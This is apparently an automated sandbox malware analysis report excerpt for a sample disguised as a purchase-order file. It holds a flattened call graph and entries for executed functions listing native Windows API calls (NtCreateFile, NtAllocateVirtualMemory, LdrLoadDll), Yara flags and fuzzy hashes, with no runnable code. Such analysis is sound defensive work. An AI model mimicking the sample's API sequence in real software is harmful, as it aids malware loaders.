41abf0 LdrLoadDll 99683->99684 99685 41ae55 99684->99685 99686 41abf0 LdrLoadDll 99685->99686 99687 41ae61 99686->99687 99688 41abf0 LdrLoadDll 99687->99688 99689 41ae6a 99688->99689 99690 41abf0 LdrLoadDll 99689->99690 99691 41ae73 99690->99691 99692 41abf0 LdrLoadDll 99691->99692 99693 41ae7c 99692->99693 99694 41abf0 LdrLoadDll 99693->99694 99695 41ae85 99694->99695 99696 41abf0 LdrLoadDll 99695->99696 99697 41ae8e 99696->99697 99698 41abf0 LdrLoadDll 99697->99698 99699 41ae9a 99698->99699 99700 41abf0 LdrLoadDll 99699->99700 99701 41aea3 99700->99701 99702 41abf0 LdrLoadDll 99701->99702 99703 41aeac 99702->99703 99703->99489 99705 41af20 LdrLoadDll 99704->99705 99706 419e9c 99705->99706 99707 419eb3 99706->99707 99735 15e2df0 LdrInitializeThunk 99706->99735 99707->99409 99709->99486 99711 41a51c NtAllocateVirtualMemory 99710->99711 99712 41af20 LdrLoadDll 99710->99712 99711->99588 99712->99711 99714 41cf00 99713->99714 99715 41cf06 99713->99715 99714->99595 99716 41bf50 2 API calls 99715->99716 99717 41cf2c 99716->99717 99717->99595 99719 41cfb5 99718->99719 99721 41cfed 99718->99721 99720 41bf50 2 API calls 99719->99720 99722 41cfca 99720->99722 99721->99599 99723 41bd80 2 API calls 99722->99723 99723->99721 99724->99606 99725->99608 99726->99610 99727->99613 99728->99592 99730 41ac0b 99729->99730 99731 414e40 LdrLoadDll 99730->99731 99732 41ac2b 99731->99732 99733 414e40 LdrLoadDll 99732->99733 99734 41acd7 99732->99734 99733->99734 99734->99630 99735->99707 99737 15e2c1f LdrInitializeThunk 99736->99737 99738 15e2c11 99736->99738 99737->99495 99738->99495 99740 41af20 LdrLoadDll 99739->99740 99741 41a64c RtlFreeHeap 99740->99741 99741->99498 99743 407eb0 99742->99743 99744 407eab 99742->99744 99745 41bd00 2 API calls 99743->99745 99744->99417 99748 407ed5 99745->99748 99746 407f38 99746->99417 99747 419e80 2 API calls 99747->99748 99748->99746 99748->99747 99749 407f3e 99748->99749 99754 41bd00 2 API calls 99748->99754 99758 41a580 99748->99758 99750 407f64 99749->99750 99752 41a580 2 API calls 99749->99752 99750->99417 99753 407f55 99752->99753 99753->99417 99754->99748 99756 40817e 99755->99756 99757 41a580 2 API calls 99755->99757 99756->99378 99757->99756 99759 41af20 LdrLoadDll 99758->99759 99760 41a59c 99759->99760 99763 15e2c70 LdrInitializeThunk 99760->99763 99761 41a5b3 99761->99748 99763->99761 99765 41b583 99764->99765 99768 40ace0 99765->99768 99767 409c4b 99767->99386 99770 40ad04 99768->99770 99769 40ad0b 99769->99767 99770->99769 99771 40ad40 LdrLoadDll 99770->99771 99772 40ad57 99770->99772 99771->99772 99772->99767 99774 40b053 99773->99774 99776 40b0d0 99774->99776 99788 419c50 LdrLoadDll 99774->99788 99776->99391 99778 41af20 LdrLoadDll 99777->99778 99779 40f1ab 99778->99779 99779->99398 99780 41a790 99779->99780 99781 41a7af LookupPrivilegeValueW 99780->99781 99782 41af20 LdrLoadDll 99780->99782 99781->99395 99782->99781 99784 41a23c 99783->99784 99785 41af20 LdrLoadDll 99783->99785 99789 15e2ea0 LdrInitializeThunk 99784->99789 99785->99784 99786 41a25b 99786->99399 99788->99776 99789->99786 99791 40b1e0 99790->99791 99792 40b030 LdrLoadDll 99791->99792 99793 40b1f4 99792->99793 99793->99333 99795 40ae41 99794->99795 99796 40ae3d 99794->99796 99797 40ae8c 99795->99797 99799 40ae5a 99795->99799 99796->99336 99841 419c90 LdrLoadDll 99797->99841 99840 419c90 LdrLoadDll 99799->99840 99800 40ae9d 99800->99336 99802 40ae7c 99802->99336 99804 40f490 3 API calls 99803->99804 99805 4143b6 99803->99805 99804->99805 99805->99338 99842 4087a0 99806->99842 99809 408a9d 99809->99340 99810 4087a0 19 API calls 99811 408a8a 99810->99811 99811->99809 99860 40f700 10 API calls 99811->99860 99814 41af20 LdrLoadDll 99813->99814 99815 41a4dc 99814->99815 99980 15e2e80 LdrInitializeThunk 99815->99980 99816 40c312 99818 40f490 99816->99818 99819 40f4ad 99818->99819 99981 419f80 99819->99981 99822 40f4f5 99822->99344 99823 419fd0 2 API calls 99824 40f51e 99823->99824 99824->99344 99826 41af20 LdrLoadDll 99825->99826 99827 419fec 99826->99827 99987 15e2d10 LdrInitializeThunk 99827->99987 99828 40c375 99828->99350 99828->99353 99831 41af20 LdrLoadDll 99830->99831 99832 41a03c 99831->99832 99988 15e2d30 LdrInitializeThunk 99832->99988 99833 40c449 99833->99361 99836 41af20 LdrLoadDll 99835->99836 99837 419dfc 99836->99837 99989 15e2fb0 LdrInitializeThunk 99837->99989 99838 40c49c 99838->99365 99840->99802 99841->99800 99843 407ea0 4 API calls 99842->99843 99857 4087ba 99843->99857 99844 408a49 99844->99809 99844->99810 99845 408a3f 99846 408160 2 API calls 99845->99846 99846->99844 99849 419ec0 2 API calls 99849->99857 99853 40c4b0 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 99853->99857 99856 419de0 2 API calls 99856->99857 99857->99844 99857->99845 99857->99849 99857->99853 99857->99856 99858 41a450 LdrLoadDll NtClose 99857->99858 99861 419cd0 99857->99861 99864 4085d0 99857->99864 99876 40f5e0 LdrLoadDll NtClose 99857->99876 99877 419d50 LdrLoadDll 99857->99877 99878 419d80 LdrLoadDll 99857->99878 99879 419e10 LdrLoadDll 99857->99879 99880 4083a0 99857->99880 99896 405f60 LdrLoadDll 99857->99896 99858->99857 99860->99809 99862 41af20 LdrLoadDll 99861->99862 99863 419cec 99862->99863 99863->99857 99865 4085e6 99864->99865 99897 419840 99865->99897 99867 408771 99867->99857 99868 4085ff 99868->99867 99918 4081a0 99868->99918 99870 4086e5 99870->99867 99871 4083a0 11 API calls 99870->99871 99872 408713 99871->99872 99872->99867 99873 419ec0 2 API calls 99872->99873 99874 408748 99873->99874 99874->99867 99875 41a4c0 2 API calls 99874->99875 99875->99867 99876->99857 99877->99857 99878->99857 99879->99857 99881 4083c9 99880->99881 99959 408310 99881->99959 99884 41a4c0 2 API calls 99885 4083dc 99884->99885 99885->99884 99886 408467 99885->99886 99889 408462 99885->99889 99967 40f660 99885->99967 99886->99857 99887 41a450 2 API calls 99888 40849a 99887->99888 99888->99886 99890 419cd0 LdrLoadDll 99888->99890 99889->99887 99891 4084ff 99890->99891 99891->99886 99971 419d10 99891->99971 99893 408563 99893->99886 99894 414a40 8 API calls 99893->99894 99895 4085b8 99894->99895 99895->99857 99896->99857 99898 41bf50 2 API calls 99897->99898 99899 419857 99898->99899 99925 409310 99899->99925 99901 419872 99902 4198b0 99901->99902 99903 419899 99901->99903 99905 41bd00 2 API calls 99902->99905 99904 41bd80 2 API calls 99903->99904 99906 4198a6 99904->99906 99907 4198ea 99905->99907 99906->99868 99908 41bd00 2 API calls 99907->99908 99909 419903 99908->99909 99915 419ba4 99909->99915 99931 41bd40 99909->99931 99912 419b90 99913 41bd80 2 API calls 99912->99913 99914 419b9a 99913->99914 99914->99868 99916 41bd80 2 API calls 99915->99916 99917 419bf9 99916->99917 99917->99868 99919 40829f 99918->99919 99920 4081b5 99918->99920 99919->99870 99920->99919 99921 414a40 8 API calls 99920->99921 99923 408222 99921->99923 99922 408249 99922->99870 99923->99922 99924 41bd80 2 API calls 99923->99924 99924->99922 99926 409335 99925->99926 99927 40ace0 LdrLoadDll 99926->99927 99928 409368 99927->99928 99929 40938d 99928->99929 99934 40cf10 99928->99934 99929->99901 99952 41a540 99931->99952 99935 40cf3c 99934->99935 99936 41a1a0 LdrLoadDll 99935->99936 99937 40cf55 99936->99937 99938 40cf5c 99937->99938 99945 41a1e0 99937->99945 99938->99929 99942 40cf97 99943 41a450 2 API calls 99942->99943 99944 40cfba 99943->99944 99944->99929 99946 41a1fc 99945->99946 99947 41af20 LdrLoadDll 99945->99947 99951 15e2ca0 LdrInitializeThunk 99946->99951 99947->99946 99948 40cf7f 99948->99938 99950 41a7d0 LdrLoadDll 99948->99950 99950->99942 99951->99948 99953 41a549 99952->99953 99954 41af20 LdrLoadDll 99953->99954 99955 41a55c 99954->99955 99958 15e2f90 LdrInitializeThunk 99955->99958 99956 419b89 99956->99912 99956->99915 99958->99956 99960 40831e 99959->99960 99961 40ace0 LdrLoadDll 99960->99961 99962 408343 99961->99962 99963 414e40 LdrLoadDll 99962->99963 99964 408353 99963->99964 99965 40835c PostThreadMessageW 99964->99965 99966 408370 99964->99966 99965->99966 99966->99885 99968 40f673 99967->99968 99974 419e50 99968->99974 99972 419d2c 99971->99972 99973 41af20 LdrLoadDll 99971->99973 99972->99893 99973->99972 99975 419e6c 99974->99975 99976 41af20 LdrLoadDll 99974->99976 99979 15e2dd0 LdrInitializeThunk 99975->99979 99976->99975 99977 40f69e 99977->99885 99979->99977 99980->99816 99982 419f9c 99981->99982 99983 41af20 LdrLoadDll 99981->99983 99986 15e2f30 LdrInitializeThunk 99982->99986 99983->99982 99984 40f4ee 99984->99822 99984->99823 99986->99984 99987->99828 99988->99833 99989->99838 99991 15e2ad0 LdrInitializeThunk

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 0041A3D0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36filenativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 0 41a3d0-41a419 call 41af20 NtReadFile
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtReadFile.NTDLL(bMA,5EB65239,FFFFFFFF,?,?,?,bMA,?,!JA,FFFFFFFF,5EB65239,00414D62,?,00000000), ref: 0041A415
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileRead
                                                                                                                                                                                                            • String ID: !JA$bMA$bMA
                                                                                                                                                                                                            • API String ID: 2738559852-4222312340
                                                                                                                                                                                                            • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                                            • Instruction ID: 54437c4e75339082d0912fbe7e6c9053912bd6928cda1a9760da43cab1c95c7d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C3F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241D630E8518BA4
                                                                                                                                                                                                            Function 0040ACE0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 252 40ace0-40ad09 call 41cc10 255 40ad0b-40ad0e 252->255 256 40ad0f-40ad1d call 41d030 252->256 259 40ad2d-40ad3e call 41b460 256->259 260 40ad1f-40ad2a call 41d2b0 256->260 265 40ad40-40ad54 LdrLoadDll 259->265 266 40ad57-40ad5a 259->266 260->259 265->266
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD52
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Load
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2234796835-0
                                                                                                                                                                                                            • Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                                            • Instruction ID: 93036d1b31c8ba6342ae8de3f2893f5930aff37f33252288d1eb8296453bc5b5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FF015EB5E0020DABDB10EBA1DC42FDEB3789F14308F0041AAE908A7281F634EB54CB95
                                                                                                                                                                                                            Function 0041A31B Relevance: 1.5, APIs: 1, Instructions: 43filenativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 267 41a31b-41a371 call 41af20 NtCreateFile
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A36D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 823142352-0
                                                                                                                                                                                                            • Opcode ID: 8f3e8a6209b4b00c98ddcbbd338c2fca887c2b184796bbc1a5fb50fcfb101bb5
                                                                                                                                                                                                            • Instruction ID: 6af5a2f632afc800a517bcec4ba0904026498e808f2fa26a1e036ec25215fe71
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8f3e8a6209b4b00c98ddcbbd338c2fca887c2b184796bbc1a5fb50fcfb101bb5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9601DDB2201208BFCB08CF98D895EEB77A9BF8C354F118209BA0993241C630E8118BA4
                                                                                                                                                                                                            Function 0041A320 Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 270 41a320-41a336 271 41a33c-41a371 NtCreateFile 270->271 272 41a337 call 41af20 270->272 272->271
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtCreateFile.NTDLL(00000060,00409CE3,?,00414BA7,00409CE3,FFFFFFFF,?,?,FFFFFFFF,00409CE3,00414BA7,?,00409CE3,00000060,00000000,00000000), ref: 0041A36D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 823142352-0
                                                                                                                                                                                                            • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                                            • Instruction ID: 30690d9e011530b668ed3b4ae7cc5c3fda29d367b226dbf4f68f65ca016a7565
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FDF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4
                                                                                                                                                                                                            Function 0041A500 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 273 41a500-41a516 274 41a51c-41a53d NtAllocateVirtualMemory 273->274 275 41a517 call 41af20 273->275 275->274
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2167126740-0
                                                                                                                                                                                                            • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                                            • Instruction ID: c35769ceed384df61eeb5fc049e905e887b244236103aac277853e7772ac0dd9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 75F015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241C630F811CBA4
                                                                                                                                                                                                            Function 0041A4FA Relevance: 1.5, APIs: 1, Instructions: 29memorynativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 279 41a4fa-41a53d call 41af20 NtAllocateVirtualMemory
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2167126740-0
                                                                                                                                                                                                            • Opcode ID: 5b9e2d1a5edd79be2a2d903e8bd7a354ba4826bc616cee076fd0fa7e3af18abb
                                                                                                                                                                                                            • Instruction ID: 838264de32c343dc065a207e36573fb7d5625846ea2776db14e94fc7a3fc012b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5b9e2d1a5edd79be2a2d903e8bd7a354ba4826bc616cee076fd0fa7e3af18abb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 99F01CB6200108AFDB14DF89DC55EEB77ADAF88354F154559FE099B241C630E821CBB4
                                                                                                                                                                                                            Function 0041A44A Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Close
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3535843008-0
                                                                                                                                                                                                            • Opcode ID: 44f4301a8312fb7a1a721bfc725db4469673ce8342a651448e83db7c9f097d31
                                                                                                                                                                                                            • Instruction ID: d7bf46046ebde09780b79a3501cd22a4181f43e7f5ac81893e4249d29ed6ce1f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 44f4301a8312fb7a1a721bfc725db4469673ce8342a651448e83db7c9f097d31
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A6E0C277240210AFD710EBE4DC45FD73BA8EF48728F154599BA589B352C234F94087D0
                                                                                                                                                                                                            Function 0041A450 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_400000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Close
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3535843008-0
                                                                                                                                                                                                            • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                                            • Instruction ID: e48275ca6f7768b9f0fd4fab79f6d7fda959a909e55c262f35bdb2090c9231ed
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E5D01776200214ABD710EB99DC85EE77BADEF48764F15449ABA189B242C530FA1086E0
                                                                                                                                                                                                            Function 015E2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: d1bb6a1c62360998ff2eedc19a6f85f9b9c9e4172c0911ef26eb7fbe8610ff72
                                                                                                                                                                                                            • Instruction ID: d569c51058d2ecf3e29643ff625d57e2e3441e78020c9d2aae99f8ab471d03e0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d1bb6a1c62360998ff2eedc19a6f85f9b9c9e4172c0911ef26eb7fbe8610ff72
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2C90026120240003450571584414616404AE7E1211B59C425E2414990DC665C9A56225
                                                                                                                                                                                                            Function 015E2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 49d0824c6c34bbf2d384dc927bc0f47875b1b7fbc30fefd7c1afaaad60c124d5
                                                                                                                                                                                                            • Instruction ID: c044945311c9e70a8ec7e7972c3ae08a7142e8f6a4ba88eb482f6e82d02e5fca
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 49d0824c6c34bbf2d384dc927bc0f47875b1b7fbc30fefd7c1afaaad60c124d5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DB90023120140802D5807158440464A0045E7D2311F99C419A1425A54DCB55CB6D77A1
                                                                                                                                                                                                            Function 015E2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: af639566ed5ee3594d1ca8ba4fc939ccdb9caf138992645d99642f6accbe2045
                                                                                                                                                                                                            • Instruction ID: 5fe5ed90c7d822e32005a4f01dff6ab530e006fa2ab38025615d0bd398b5d937
                                                                                                                                                                                                            • Opcode Fuzzy Hash: af639566ed5ee3594d1ca8ba4fc939ccdb9caf138992645d99642f6accbe2045
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 77900225211400030505B55807045070086E7D6361359C425F2415950CD761C9755221
                                                                                                                                                                                                            Function 015E2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 0e9076287c5dd130fc5059f7405ea8df75628fc9701ba1ef9f02754a202552fe
                                                                                                                                                                                                            • Instruction ID: c360d13b1aa07eecf759689180e49c5fd820626c9539402066adfb871a3a5da9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0e9076287c5dd130fc5059f7405ea8df75628fc9701ba1ef9f02754a202552fe
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A90022921340002D5807158540860A0045E7D2212F99D819A1415958CCA55C97D5321
                                                                                                                                                                                                            Function 015E2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
                                                                                                                                                                                                            • Opcode ID: 7f7b6da07615d885aede9b908f31f9c1ef784f820c56a045e3c221267342fb66
                                                                                                                                                                                                            • Instruction ID: f8d1a74bff9db89bd23e2012b10e3ea3adc276b4297d855ce802f05e4bdaca93
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7f7b6da07615d885aede9b908f31f9c1ef784f820c56a045e3c221267342fb66
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1F90022130140003D540715854186064045F7E2311F59D415E1814954CDA55C96A5322
                                                                                                                                                                                                            Function 015E2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, Offset: 01570000, based on PE: true
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_4_2_1570000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: InitializeThunk
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2994545307-0
